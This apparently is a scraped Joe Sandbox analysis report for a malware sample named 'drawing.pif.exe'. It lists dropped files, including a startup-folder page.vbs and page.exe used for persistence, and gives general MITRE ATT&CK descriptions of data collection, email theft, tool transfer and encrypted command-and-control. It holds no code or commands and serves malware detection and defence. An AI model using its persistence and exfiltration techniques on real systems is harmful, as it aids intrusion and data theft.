Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_02zu22vn.grn.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dte4fr4y.2vl.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_luy1liyb.dcq.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u0t4x13d.xsg.psm1

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\page.vbs

C:\Users\user\AppData\Roaming\page.exe

C:\Users\user\AppData\Roaming\page.exe:Zone.Identifier

Static File Info

General

File Icon

Static PE Info

Windows Analysis Report
58955, ZN25888A #U2013 drawing.pif.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre